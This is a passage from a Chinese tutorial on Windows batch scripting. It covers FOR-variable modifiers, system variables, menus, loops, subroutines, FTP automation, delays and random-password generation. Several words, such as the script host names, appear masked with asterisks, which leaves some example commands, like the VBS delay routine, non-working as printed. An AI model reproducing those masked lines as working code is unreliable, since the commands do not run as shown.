    @echo off
    FOR /F "delims=" %%i in ('net user') do @echo %%i
    pause

    这样你本机全部帐号名字就出来了,把扩号内的内容用两个单引号引起来就表示那个当命令执行,FOR会返回命令的每行结果,加那个"delims=" 是为了让我空格的行能整行显示出来,不加就只显示空格左边一列!

    基本上讲完了FOR的基本用法了...如果你看过FOR的系统帮助,你会发现他下面还有一些特定义的变量,这些我先不讲。
     


    第三章 FOR命令中的变量

    FOR命令中有一些变量,他们的用法许多新手朋友还不太了解,今天给大家讲解他们的用法:

    先把FOR的变量全部列出来:

    ~I          - 删除任何引号("),扩展 %I
    %~fI        - 将 %I 扩展到一个完全合格的路径名
    %~dI        - 仅将 %I 扩展到一个驱动器号
    %~pI        - 仅将 %I 扩展到一个路径
    %~nI        - 仅将 %I 扩展到一个文件名
    %~xI        - 仅将 %I 扩展到一个文件扩展名
    %~sI        - 扩展的路径只含有短名
    %~aI        - 将 %I 扩展到文件的文件属性
    %~tI        - 将 %I 扩展到文件的日期/时间
    %~zI        - 将 %I 扩展到文件的大小
    %~$PATH:I   - 查找列在路径环境变量的目录,并将 %I 扩展
                  到找到的第一个完全合格的名称。如果环境变量名
                  未被定义,或者没有找到文件,此组合键会扩展到
                  空字符串

    我们可以看到每行都有一个大写字母"I",这个I其实就是我们在FOR带入的变量,我们FOR语句代入的变量名是什么?这里就写什么。比如:FOR /F  %%z IN ('set') DO @echo %%z 这里我们代入的变量名是z那么我们就要把那个I改成z,例如%~fI改为%~fz。至于前面的%~p这样的内容就是语法了!

    开始讲解:
    一、 ~I          - 删除任何引号("),扩展 %I
    这个变量的作用就如他的说明,删除引号!
    我们来看这个例子:
    首先建立临时文件temp.txt,内容如下

    "1111
    "2222"
    3333"
    "4444"44
    "55"55"55

    可建立个BAT文件代码如下:

    @echo off
    echo ^"1111>temp.txt
    echo "2222">>temp.txt
    echo 3333^">>temp.txt
    echo "4444"44>>temp.txt
    echo ^"55"55"55>>temp.txt
    rem 上面建立临时文件,注意不成对的引号要加转义字符^,重定向符号前不要留空格
    FOR /F "delims=" %%i IN (temp.txt) DO echo  %%~i
    pause
    del temp.txt

    执行后,我们看CMD的回显如下:

    1111           #字符串前的引号被删除了
    2222           #字符串首尾的引号都被删除了
    3333"          #字符串前无引号,后面的引号保留
    4444"44        #字符串前面的引号删除了,而中间的引号保留
    55"55"55       #字符串前面的引号删除了,而中间的引号保留
    请按任意键继续. . .

    和之前temp.txt中的内容对比一下,我们会发现第1、2、5行的引号都消失了,这就是删除引号~i的作用了!
    删除引号规则如下(BAT兄补充)
    1、若字符串首尾同时存在引号,则删除首尾的引号;
    2、若字符串尾不存在引号,则删除字符串首的引号;
    3、如果字符串中间存在引号,或者只在尾部存在引号,则不删除。
    龙卷风补充:无头不删,有头连尾删。


    二、 %~fI        - 将 %I 扩展到一个完全合格的路径名
    看例子:
    把代码保存放在随便哪个地方,我这里就放桌面吧.
    FOR /F "delims==" %%i IN ('dir /b') DO @echo  %%~fi
    pause
    执行后显示内容如下
    C:\Documents and Settings\Administrator\桌面\test.bat
    C:\Documents and Settings\Administrator\桌面\test.vbs
    当我把代码中的 %%~fi直接改成%%i
    FOR /F "delims==" %%i IN ('dir /b') DO @echo  %%i
    pause
    执行后就会显示以下内容:
    test.bat
    test.vbs
    通过对比,我们很容易就看出没有路径了,这就是"将 %I 扩展到一个完全合格的路径名"的作用
    也就是如果%i变量的内容是一个文件名的话,他就会把这个文件所在的绝对路径打印出来,而不只单单打印一个文件名,自己动手动实验下就知道了!


    三、 %~dI        - 仅将 %I 扩展到一个驱动器号
    看例子:
    代码如下,我还是放到桌面执行!
    FOR /F "delims==" %%i IN ('dir /b') DO @echo  %%~di
    pause
    执行后我CMD里显示如下
    C:
    C:
    我桌面就两个文件test.bat,test.vbs,%%~di作用是,如果变量%%i的内容是一个文件或者目录名,他就会把他这文件
    或者目录所在的盘符号打印出来!


    四、 %~pI        - 仅将 %I 扩展到一个路径
    这个用法和上面一样,他只打印路径不打印文件名字
    FOR /F "delims==" %%i IN ('dir /b') DO @echo  %%~pi
    pause
    我就不打结果了,大家自己复制代码看结果吧,下面几个都是这么个用法,代码给出来,大家自己看结果吧!


    五、 %~nI        - 仅将 %I 扩展到一个文件名
    只打印文件名字
    FOR /F "delims==" %%i IN ('dir /b') DO @echo  %%~ni
    pause


    六、 %~xI        - 仅将 %I 扩展到一个文件扩展名
    只打印文件的扩展名
    FOR /F "delims==" %%i IN ('dir /b') DO @echo  %%~xi
    pause


    七、 %~sI        - 扩展的路径只含有短名
    打印绝对短文件名
    FOR /F "delims==" %%i IN ('dir /b') DO @echo  %%~si
    pause


    八、 %~aI        - 将 %I 扩展到文件的文件属性
    打印文件的属性
    FOR /F "delims==" %%i IN ('dir /b') DO @echo  %%~ai
    pause


    九、 %~tI        - 将 %I 扩展到文件的日期/时间
    打印文件建立的日期
    FOR /F "delims==" %%i IN ('dir /b') DO @echo  %%~ti
    pause

    十、 %~zI        - 将 %I 扩展到文件的大小
    打印文件的大小
    FOR /F "delims==" %%i IN ('dir /b') DO @echo  %%~zi
    pause
    上面例子中的"delims=="可以改为"delims=",即不要分隔符


    十一、 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩展
                       到找到的第一个完全合格的名称。如果环境变量名
                       未被定义,或者没有找到文件,此组合键会扩展到
                       空字符串
    这是最后一个,和上面那些都不一样,我单独说说!

    然后在把这些代码保存为批处理,放在桌面。
    @echo off
    FOR /F "delims=" %%i IN (“notepad.exe”) DO echo  %%~$PATH:i
    pause
    龙卷风补充:上面代码显示结果为C:\WINDOWS\system32\notepad.exe
    他的意思就在PATH变量里指定的路径里搜索notepad.exe文件,如果有notepad.exe则会把他所在绝对路径打印出来,没有就打印一个错误!

    附上一个“删除当前文件夹下,文件大于1M小于5M的mp3文件”:

    @echo off
    REM 删除1M以上以及5M以下的文件
    
    set /a a=1*1024*1024
    set /a b=5*1024*1024
    for %%a in (*.mp3) do if %%~za geq %a% if %%~za leq %b% del /q /f "%%a"
    pause


                                     
    第四章 批处理中的变量

    批处理中的变量,我把他分为两类,分别为"系统变量"和"自定义变量",我们现在来详解这两个变量!

    一、系统变量
    他们的值由系统将其根据事先定义的条件自动赋值,也就是这些变量系统已经给他们定义了值,
    不需要我们来给他赋值,我们只需要调用而以!  我把他们全部列出来!

    %ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
    %APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
    %CD% 本地 返回当前目录字符串。
    %CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
    %CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
    %COMPUTERNAME%  系统 返回计算机的名称。
    %COMSPEC%  系统 返回命令行解释器可执行程序的准确路径。
    %DATE%  系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关
    date 命令的详细信息,请参阅 Date。
    %ERRORLEVEL%  系统 返回上一条命令的错误代码。通常用非零值表示错误。
    %HOMEDRIVE%  系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用
    户主目录是在“本地用户和组”中指定的。
    %HOMEPATH%  系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
    %HOMESHARE%  系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是
    在“本地用户和组”中指定的。
    %LOGONSERVER%  本地 返回验证当前登录会话的域控制器的名称。
    %NUMBER_OF_PROCESSORS%  系统 指定安装在计算机上的处理器的数目。
    %OS%  系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
    %PATH% 系统 指定可执行文件的搜索路径。
    %PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
    %PROCESSOR_ARCHITECTURE%  系统 返回处理器的芯片体系结构。值:x86 或 IA64 基于
    Itanium
    %PROCESSOR_IDENTFIER% 系统 返回处理器说明。
    %PROCESSOR_LEVEL%  系统 返回计算机上安装的处理器的型号。
    %PROCESSOR_REVISION% 系统 返回处理器的版本号。
    %PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
    %RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
    %SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)
    的驱动器。
    %SYSTEMROOT%  系统 返回 Windows server operating system 根目录的位置。
    %TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。
    有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
    %TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关
    time 命令的详细信息,请参阅 Time。
    %USERDOMAIN% 本地 返回包含用户帐户的域的名称。
    %USERNAME% 本地 返回当前登录的用户的名称。
    %USERPROFILE% 本地 返回当前用户的配置文件的位置。
    %WINDIR% 系统 返回操作系统目录的位置。

    这么多系统变量,我们如何知道他的值是什么呢?
    在CMD里输入  echo %WINDIR%
    这样就能显示一个变量的值了!
    举个实际例子,比如我们要复制文件到当前帐号的启动目录里就可以这样
    copy d:\1.bat "%USERPROFILE%\「开始」菜单\程序\启动\"
    %USERNAME% 本地 返回当前登录的用户的名称。  注意有空格的目录要用引号引起来

    另外还有一些系统变量,他们是代表一个意思,或者一个操作!
    他们分别是%0 %1 %2 %3 %4 %5 ......一直到%9 还有一个%*
    %0 这个有点特殊,有几层意思,先讲%1-%9的意思.
    %1 返回批处理的第一个参数
    %2 返回批处理的第二个参数
    %3-%9依此推类
    反回批处理参数?到底怎么个返回法?
    我们看这个例子,把下面的代码保存为test.BAT然后放到C盘下
    @echo off
    echo %1 %2 %3 %4
    echo %1
    echo %2
    echo %3
    echo %4
    进入CMD,输入cd c:\
    然后输入 test.bat 我是第一个参数 我是第二个参数  我是第三个参数  我是第四个参数
    注意中间的空格,我们会看到这样的结果:
    我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数
    我是第一个参数
    我是第二个参数
    我是第三个参数
    我是第四个参数
    对比下代码,%1就是”我是第一个参数”  %2就是”我是第二个参数”,怎么样理解了吧?这些%1和%9可以让批处理也能带参数运行,大大提高批处理功能!还有一个%*  他是什么呢?他的作用不是很大,只是返回参数而已,不过他是一次返回全部参数的值,不用再输入%1 %2来一个个确定的


    例子
    @echo off
    echo %*
    同样保存为test.bat 放到C盘
    进入CMD,输入cd c:\
    然后输入 test.bat 我是第一个参数 我是第二个参数  我是第三个参数  我是第四个参数
    可以看到他一次把全部参数都显示出来了

    好现在开始讲那个比较特殊的%0

    %0  这个不是返回参数的值了,他有两层意思!
    第一层意思:返回批处理所在绝对路径
    例子:
    @echo off
    echo %0
    pause
    保存为test.BAT放在桌面运行,会显示如下结果
    "C:\Documents and Settings\Administrator\桌面\test.bat"
    他把当前批处理执行的所在路经打印出来了,这就是返回批处理所在绝对路径的意思
    第二层意思:无限循环执行BAT
    例子:

    @echo off
    net user
    %0

    保存为BAT执行,他就会无限循环执行net user这条命令,直到你手动停止。
    龙卷风补充:其实%0就是第一参数%1前面那个参数,当然就是批处理文件名(包括路径)。
    以上就是批处理中的一些系统变量,另外还有一些变量,他们也表示一些功能,FOR命令中的那些就是,FOR变量已经说过,就不讲了。


    二、自定义变量
    故名思意:自定义变量就是由我们来给他赋予值的变量
    要使用自定义变量就得使用set命令了,看例子:
    @echo off
    set var=我是值
    echo %var%
    pause
    保存为BAT执行,我们会看到CMD里返回一个  "我是值"
    var为变量名,=号右变的是要给变量的值
    这就是最简单的一种设置变量的方法了
    如果我们想让用户手工输入变量的值,而不是在代码里指定,可以用用set命令的/p参数
    例子:
    @echo off
    set /p var=请输入变量的值
    echo %var%
    pause
    var变量名  =号右边的是提示语,不是变量的值
    变量的值由我们运行后自己用键盘输入! 

     

     

    第五章 高级特性

    一、交互界面设计
    没啥说的,看看高手设计的菜单界面吧:

    @echo off
    cls
    title 终极多功能修复
    :menu
    cls
    color 0A
    echo.
    echo                 ==============================
    echo                 请选择要进行的操作,然后按回车
    echo                 ==============================
    echo.
    echo              1.网络修复及上网相关设置,修复IE,自定义屏蔽网站
    echo.
    echo              2.病毒专杀工具,端口关闭工具,关闭自动播放
    echo.
    echo              3.清除所有多余的自启动项目,修复系统错误
    echo.
    echo              4.清理系统垃圾,提高启动速度
    echo.
    echo              Q.退出
    echo.
    echo.
    :cho
    set choice=
    set /p choice=          请选择:
    IF NOT "%choice%"=="" SET choice=%choice:~0,1%
    if /i "%choice%"=="1" goto ip
    if /i "%choice%"=="2" goto setsave
    if /i "%choice%"=="3" goto kaiji
    if /i "%choice%"=="4" goto clean
    if /i "%choice%"=="Q" goto endd
    echo 选择无效,请重新输入
    echo.
    goto cho

    只要学完本教程前面的章节,上面的程序应该能看懂了。

    二、if…else…条件语句
    前面已经谈到,DOS条件语句主要有以下形式
    IF [NOT] ERRORLEVEL number command
    IF [NOT] string1==string2 command
    IF [NOT] EXIST filename command
    增强用法:IF [/I] string1 compare-op string2 command
    增强用法中加上/I就不区分大小写了!
    增强用法中还有一些用来判断数字的符号:
    EQU - 等于
    NEQ - 不等于
    LSS - 小于
    LEQ - 小于或等于
    GTR - 大于
    GEQ - 大于或等于
    上面的command命令都可以用小括号来使用多条命令的组合,包括else子句,组合命令中可以嵌套使用条件或循环命令。

    例如:
        IF EXIST filename (
            del filename
        ) ELSE (
            echo filename missing
        )

    也可写成:
    if exist filename (del filename) else (echo filename missing)
    但这种写法不适合命令太多或嵌套命令的使用。


    三、循环语句
    1、指定次数循环
    FOR /L %variable IN (start,step,end) DO command [command-parameters]

    组合命令:
    FOR /L %variable IN (start,step,end) DO (
    Command1
    Command2
    ……


    2、对某集合执行循环语句。
    FOR %%variable IN (set) DO command [command-parameters]

      %%variable  指定一个单一字母可替换的参数。
      (set)      指定一个或一组文件。可以使用通配符。
      command   对每个文件执行的命令,可用小括号使用多条命令组合。

    FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

        检查以 [drive:]path 为根的目录树,指向每个目录中的
        FOR 语句。如果在 /R 后没有指定目录,则使用当前
    目录。如果集仅为一个单点(.)字符,则枚举该目录树。

    同前面一样,command可以用括号来组合:
    FOR /R [[drive:]path] %variable IN (set) DO (
    Command1
    Command2
    ……
    commandn
    )

    3、条件循环
        上面的循环结构是用for命令来实现的,for命令循环有一个缺点,就是整个循环被当作一条命令语句,涉及到变量延迟的问题。
        利用goto语句和条件判断,dos可以实现条件循环,很简单啦,看例子:

    例:

    @echo off
    set var=0
    rem ************循环开始了
    :continue
    set /a var+=1
    echo 第%var%次循环
    if %var% lss 100 goto continue
    rem ************循环结束了
    echo 循环执行完毕
    pause

    例:

    @echo off
    set var=100
    rem ************循环开始了
    :continue
    echo 第%var%次循环
    set /a var-=1
    if %var% gtr 0 goto continue
    rem ************循环结束了
    echo 循环执行完毕
    pause

    四、子程序
    在批处理程序中可以调用外部可运行程序,比如exe程序,也可调用其他批处理程序,这些也可以看作子程序,但是不够方便,如果被调用的程序很多,就显得不够简明了,很繁琐。在windowsXP中,批处理可以调用本程序中的一个程序段,相当于子程序,这些子程序一般放在主程序后面。

    子程序调用格式:
      CALL :label arguments

    子程序语法:
      :label
      command1
      command2
      ......
      commandn
      goto :eof

    在子程序段中,参数%0指标签:label
    子过程一般放在最后,并且注意在主程序最后要加上exit或跳转语句,避免错误的进入子过程。
    子程序和主程序中的变量都是全局变量,其作用范围都是整个批处理程序。
    传至子程序的参数在call语句中指定,在子程序中用%1、%2至%9的形式调用,而子程序返回主程序的数据只需在调用结束后直接引用就可以了,当然也可以指定返回变量,请看下面的例子。

    子程序例1:

    @echo off
    call :sub return 你好
    echo 子程序返回值:%return%
    pause
    
    :sub
    set %1=%2
    goto :eof

    运行结果:你好

    子程序例2:设计一个求多个整数相加的子程序

    @echo off
    set sum=0
    call :sub sum 10 20 35
    echo 数据求和结果:%sum%
    pause
    
    :sub
    rem 参数1为返回变量名称
    set /a %1=%1+%2
    shift /2
    if not "%2"=="" goto sub
    goto :eof

    运行结果:65
     

    五、用ftp命令实现自动下载

    ftp是常用的下载工具,ftp界面中有40多个常用命令,自己学习了,不介绍了。这里介绍如何用dos命令行调用ftp命令,实现ftp自动登录,并上传下载,并自动退出ftp程序。
    其实可以将ftp命令组合保存为一个文本文件,然后用以下命令调用即可。

    ftp  -n -s:[[drive:]path]filename

    上面的filename为ftp命令文件,包括登录IP地址,用户名、密码、操作命令等
    例:
    open 90.52.8.3   #打开ip
    user iware       #用户为iware
    password8848    #密码
    bin             #二进制传输模式
    prompt
    cd tmp1         #切换至iware用户下的tmp1目录
    pwd
    lcd d:\download   #本地目录
    mget *          #下载tmp1目录下的所有文件
    bye             #退出ftp


    六、用7-ZIP实现命令行压缩和解压功能

    语法格式:(详细情况见7-zip帮助文件,看得头晕可以跳过,用到再学)
    7z <command> [<switch>...] <base_archive_name> [<arguments>...]

    7z.exe的每个命令都有不同的参数<switch>,请看帮助文件
    <base_archive_name>为压缩包名称
    <arguments>为文件名称,支持通配符或文件列表

    其中,7z是至命令行压缩解压程序7z.exe,<command>是7z.exe包含的命令,列举如下:

    a: Adds files to archive. 添加至压缩包
    a命令可用参数:
      -i (Include)
      -m (Method)
      -p (Set Password)
      -r (Recurse)
      -sfx (create SFX)
      -si (use StdIn)
      -so (use StdOut)
      -ssw (Compress shared files)
      -t (Type of archive)
      -u (Update)
      -v (Volumes)
      -w (Working Dir)
      -x (Exclude) 

    b: Benchmark 

    d: Deletes files from archive. 从压缩包中删除文件
    d命令可用参数:
      -i (Include)
      -m (Method)
      -p (Set Password)
      -r (Recurse)
      -u (Update)
      -w (Working Dir)
      -x (Exclude) 

    e: Extract解压文件至当前目录或指定目录
    e命令可用参数:
      -ai (Include archives)
      -an (Disable parsing of archive_name)
      -ao (Overwrite mode)
      -ax (Exclude archives)
      -i (Include)
      -o (Set Output Directory)
      -p (Set Password)
      -r (Recurse)
      -so (use StdOut)
      -x (Exclude)
      -y (Assume Yes on all queries) 

    l: Lists contents of archive.
    t: Test 
    u: Update 

    x: eXtract with full paths用文件的完整路径解压至当前目录或指定目录
    x命令可用参数:
      -ai (Include archives)
      -an (Disable parsing of archive_name)
      -ao (Overwrite mode)
      -ax (Exclude archives)
      -i (Include)
      -o (Set Output Directory)
      -p (Set Password)
      -r (Recurse)
      -so (use StdOut)
      -x (Exclude)
      -y (Assume Yes on all queries) 


    七、调用VB******程序
    使用 Windows 脚本宿主,可以在命令提示符下运行脚本。C******.exe 提供了用于设置脚本属性的命令行开关。
    用法:C****** 脚本名称 [脚本选项...] [脚本参数...]
    选项:

    //B         批模式:不显示脚本错误及提示信息
    //D         启用 Active Debugging
    //E:engine  使用执行脚本的引擎
    //H:C****** 将默认的脚本宿主改为 C******.exe
    //H:W****** 将默认的脚本宿主改为 W******.exe (默认)
    //I         交互模式(默认,与 //B 相对)
    //Job:xxxx  执行一个 WSF 工作
    //Logo      显示徽标(默认)
    //Nologo    不显示徽标:执行时不显示标志
    //S         为该用户保存当前命令行选项
    //T:nn      超时设定秒:允许脚本运行的最长时间
    //X         在调试器中执行脚本
    //U         用 Unicode 表示来自控制台的重定向 I/O

    “脚本名称”是带有扩展名和必需的路径信息的脚本文件名称,如d:\admin\vb******s\chart.vbs。
    “脚本选项和参数”将传递给脚本。脚本参数前面有一个斜杠 (/)。每个参数都是可选的;但不能在未指定脚本名称的情况下指定脚本选项。如果未指定参数,则 C****** 将显示 C****** 语法和有效的宿主参数。

    八、将批处理转化为可执行文件:
    由于批处理文件是一种文本文件,任何人都可以对其进行随便编辑,不小心就会把里面的命令破坏掉,所以如果将其转换成.com格式的可执行文件,不仅执行效率会大大提高,而且不会破坏原来的功能,更能将优先级提到最高。Bat2Com就可以完成这个转换工作。
    小知识:在DOS环境下,可执行文件的优先级由高到低依次为.com>.exe>.bat>.cmd,即如果在同一目录下存在文件名相同 的这四类文件,当只键入文件名时,DOS执行的是name.com,如果需要执行其他三个文件,则必须指定文件的全名,如name.bat。

    这是一个只有5.43K大小的免费绿色工具,可以运行在纯DOS或DOS窗口的命令行中,用法:Bat2Com
    FileName,这样就会在同一目录下生成一个名为FileNme.com的可执行文件,执行的效果和原来的.bat文件一样。

    九、时间延迟
    本条参考引用[英雄]教程
    什么是时间延迟?顾名思义,就是执行一条命令后延迟一段时间再进行下一条命令。
    延迟的应用见下节:“模拟进度条”。
    1、利用ping命令延时
    例:
      @echo off
      echo 延时前:%time%
      ping /n 3 127.0.0.1 >nul
      echo 延时后:%time%
      pause 
    解说:用到了ping命令的“/n”参数,表示要发送多少次请求到指定的ip。本例中要发送3次请求到本机的ip(127.0.0.1)。127.0.0.1可简写为127.1。“>nul”就是屏蔽掉ping命令所显示的内容。

    2、利用for命令延时
    例:
      @echo off
      echo 延时前:%time%
      for /l %%i in (1,1,5000) do echo %%i>nul
      echo 延时后:%time%
      pause
    解说:原理很简单,就是利用一个计次循环并屏蔽它所显示的内容来达到延时的目的。

    3、利用vbs延迟函数,精确度毫秒,误差1000毫秒内

    例:
        @echo off
        echo %time%
        call :delay 5000
        echo %time%
        pause
        exit

        :delay
        echo W******.Sleep %1>delay.vbs
        C****** //B delay.vbs
        del delay.vbs
        goto :eof

    运行显示:
    10:44:06.45
    10:44:11.95
    请按任意键继续. . .

    上面的运行结果显示实际延时了5500毫秒,多出来的500毫秒时建立和删除临时文件所耗费的时间。误差在一秒之内。


    4、仅用批处理命令实现任意时间延迟,精确度10毫秒,误差50毫秒内
    仅用批处理命令就可以实现延迟操作。
    例:

    @echo off
    set /p delay=请输入需延迟的毫秒数:
    set TotalTime=0
    set NowTime=%time%
    ::读取起始时间,时间格式为:13:01:05.95
    echo 程序开始时间:%NowTime%
    :delay_continue
    set /a minute1=1%NowTime:~3,2%-100
    ::读取起始时间的分钟数
    set /a second1=1%NowTime:~-5,2%%NowTime:~-2%0-100000
    ::将起始时间的秒数转为毫秒
    set NowTime=%time%
    set /a minute2=1%NowTime:~3,2%-100
    :: 读取现在时间的分钟数
    set /a second2=1%NowTime:~-5,2%%NowTime:~-2%0-100000
    ::将现在时间的秒数转为毫秒
    set /a TotalTime+=(%minute2%-%minute1%+60)%%60*60000+%second2%-%second1%
    if %TotalTime% lss %delay% goto delay_continue
    echo 程序结束时间:%time%
    echo 设定延迟时间:%delay%毫秒
    echo 实际延迟时间:%TotalTime%毫秒
    pause

    运行显示:

    请输入需延迟的毫秒数:6000
    程序开始时间:15:32:16.37
    程序结束时间:15:32:22.37
    设定延迟时间:6000毫秒
    实际延迟时间:6000毫秒
    请按任意键继续. . .

    实现原理:首先设定要延迟的毫秒数,然后用循环累加时间,直到累加时间大于等于延迟时间。

    误差:windows系统时间只能精确到10毫秒,所以理论上有可能存在10毫秒误差。
          经测试,当延迟时间大于500毫秒时,上面的延迟程序一般不存在误差。当延迟时间小于500毫秒时,可能有几十毫秒误差,为什么?因为延迟程序本身也是有运行时间的,同时系统时间只能精确到10毫秒。

    为了方便引用,可将上面的例子改为子程序调用形式:
     

    @echo off
    echo 程序开始时间:%Time%
    call :delay 100
    echo 实际延迟时间:%totaltime%毫秒
    echo 程序结束时间:%time%
    pause
    exit
    
    ::-----------以下为延时子程序--------------------
    :delay
    @echo off
    if "%1"=="" goto :eof
    set DelayTime=%1
    set TotalTime=0
    set NowTime=%time%
    ::读取起始时间,时间格式为:13:01:05.95
    :delay_continue
    set /a minute1=1%NowTime:~3,2%-100
    set /a second1=1%NowTime:~-5,2%%NowTime:~-2%0-100000
    set NowTime=%time%
    set /a minute2=1%NowTime:~3,2%-100
    set /a second2=1%NowTime:~-5,2%%NowTime:~-2%0-100000
    set /a TotalTime+=(%minute2%-%minute1%+60)%%60*60000+%second2%-%second1%
    if %TotalTime% lss %DelayTime% goto delay_continue
    goto :eof


    十、模拟进度条
    下面给出一个模拟进度条的程序。如果将它运用在你自己的程序中,可以使你的程序更漂亮。

    @echo off
    mode con cols=113 lines=15 &color 9f
    cls
    echo.
    echo  程序正在初始化. . . 
    echo.
    echo  ┌──────────────────────────────────────┐
    set/p=  ■<nul
    for /L %%i in (1 1 38) do set /p a=■<nul&ping /n 1 127.0.0.1>nul
    echo   100%%
    echo  └──────────────────────────────────────┘
    pause

    解说:“set /p a=■<nul”的意思是:只显示提示信息“■”且不换行,也不需手工输入任何信息,这样可以使每个“■”在同一行逐个输出。“ping /n 0 127.1>nul”是输出每个“■”的时间间隔,即每隔多少时间输出一个“■”。
     

    十一、特殊字符的输入及应用
    开始 -> 运行 -> 输入cmd -> edit -> ctrl+p(意思是允许输入特殊字符)-> 按ctrl+a将会显示笑脸图案。
    (如果要继续输入特殊字符请再次按ctrl+p,然后ctrl+某个字母)
    以上是特殊字符的输入方法,选自[英雄]教程,很管用的。也就是用编辑程序edit输入特殊字符,然后保存为一文本文件,再在windows下打开此文件,复制其中的特殊符号即可。

    一些简单的特殊符号可以在dos命令窗口直接输入,并用重定向保存为文本文件。
    例:
    C:>ECHO ^G>temp.txt
    “^G”是用Ctrl+G或Alt+007输入,输入多个^G可以产生多声鸣响。
    特殊字符的应用也很有意思,这里仅举一例:退格键
    退格键表示删除左边的字符,此键不能在文档中正常输入,但可以通过edit编辑程序录入并复制出来。即“”。
    利用退格键,可以设计闪烁文字效果

    例:文字闪烁

    @echo off
    :start
    set/p=床前明月光<nul
    ::显示文字,光标停于行尾
    ping -n 0 127.0.0.1>nul
    ::设置延迟时间
    set /p a=<nul
    :: 输出一些退格符将光标置于该行的最左端(退格符的数量可以自己调整)。
    set /p a=                               <nul
    ::输出空格将之前输出的文字覆盖掉。
    set /p a=<nul
    ::再次输出退格符将光标置于该行的最左端,这里的退格符数量一定不能比前面的空格数少。
    ::否则光标不能退到最左端。
    goto start

    例:输出唐诗一首,每行闪动多次

    @echo off
    setlocal enabledelayedexpansion
    
    set str=床前明月光 疑是地上霜 举头望明月 低头思故乡
    ::定义字符串str
    for %%i in (%str%) do (
    rem 由于str中含有空格,则以空格为分隔符将str中的每一个部分依次赋给变量%%i。
            set char=%%i
            echo.
            echo.
            for /l %%j in (0,1,5) do (
                    set/p=!char:~%%j,1!<nul
      rem 依次取出变量char中的每一个字符,并显示。
                    ping -n 0 127.0.0.1>nul
      rem 设置输出每个字符的时间延迟。
            )
    call :hero %%i
    )
    pause>nul
    exit
    
    :hero
    for /l %%k in (1,1,10) do (
    ping /n 0 127.0.0.1>nul
    set /p a=<nul
    set /p a=                               <nul
    set /p a=<nul
    ping /n 0 127.0.0.1>nul
    set /p a=%1<nul
    )
    ::文字闪动
    goto :eof


    十二、随机数(%random%)的应用技巧
    %RANDOM% 系统变量 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
    2的15次方等于32768,上面的0~32767实际就是15位二进制数的范围。
    那么,如何获取100以内的随机数呢?很简单,将%RANDOM%按100进行求余运算即可,见例子。

    例:生成5个100以内的随机数

    @echo off
      setlocal enabledelayedexpansion
      for /L %%i in (1 1 5) do (
         set /a randomNum=!random!%%100
         echo 随机数:!randomNum!
      )
      pause

    运行结果:(每次运行不一样)
    随机数:91
    随机数:67
    随机数:58
    随机数:26
    随机数:20
    请按任意键继续. . .

    求余数运算set /a randomNum=!random!%%100中的100可以是1~32768之间的任意整数。
    总结:利用系统变量%random%,求余数运算%%,字符串处理等,可以实现很多随机处理。

    思考题目:生成给定位数的随机密码
    解答思路:将26个英文字母或10数字以及其它特殊字符组成一个字符串,随机抽取其中的若干字符。
    参考答案1:(简单)

    @echo off
    call :randomPassword 5 pass1 pass2
    echo %pass1% %pass2% 
    pause
    exit
    
    :randomPassword
    ::---------生成随机密码
    ::---------%1为密码长度,%2及以后为返回变量名称
    ::---------for命令最多只能区分31个字段
    @echo off
    set password_len=%1
    if not defined password_len goto :eof
    if %password_len% lss 1 goto :eof
    set wordset=a b c d e f g h i j k l m n o p q r s t u v w x y z
    set return=
    set num=0
    :randomPassword1
    set /a num+=1
    set /a numof=%random%%%26+1
    for /f "tokens=%numof% delims= " %%i in ("%wordset%") do set return=%return%%%i
    if %num% lss %password_len% goto randomPassword1
    if not "%2"=="" set %2=%return%
    shift /2
    if not "%2"=="" goto randomPassword
    goto :eof

    参考答案2:(最优)

    @echo off
    call :randomPassword 6 pass1 pass2 pass3
    echo %pass1% %pass2% %pass3%
    pause
    exit
    
    :randomPassword
    ::---------生成随机密码
    ::---------%1为密码长度,%2及以后为返回变量名称
    ::---------goto循环、变量嵌套、命令嵌套
    @echo off
    if "%1"=="" goto :eof
    if %1 lss 1 goto :eof
    set password_len=%1
    set return=
    set wordset=abcdefghijklmnopqrstuvwxyz023456789_
    ::---------------------------循环
    :randomPassword1
    set /a numof=%random%%%36
    call set return=%return%%%wordset:~%numof%,1%%
    set /a password_len-=1
    if %password_len% gtr 0 goto randomPassword1
    ::---------------------------循环
    if not "%2"=="" set %2=%return%
    shift /2
    if not "%2"=="" goto randomPassword
    goto :eof

    说明:本例涉及到变量嵌套和命令嵌套的应用,见后。

    十三、变量嵌套 与 命令嵌套
        和其它编程语言相比,dos功能显得相对简单,要实现比较复杂的功能,需要充分运用各种技巧,变量嵌套与命令嵌套就是此类技巧之一。
    先复习一下前面的“字符串截取”的关键内容:
    **********************************************
    截取功能统一语法格式为:%a:~[m[,n]]%
    **********************************************
    方括号表示可选,%为变量标识符,a为变量名,不可少,冒号用于分隔变量名和说明部分,符号~可以简单理解为“偏移”即可,m为偏移量(缺省为0),n为截取长度(缺省为全部)。
    百分号如果需要当成单一字符,必须写成%%
    以上是dos变量处理的通用格式,如果其中的m、n为变量,那么这种情况就是变量嵌套了。

    比如设变量word为“abcdefghij”,变量num为“123456789”
    %word:~4,1%为e,其中4可以从变量num中取值,即%num:~3,1%,写成组合形式如下:
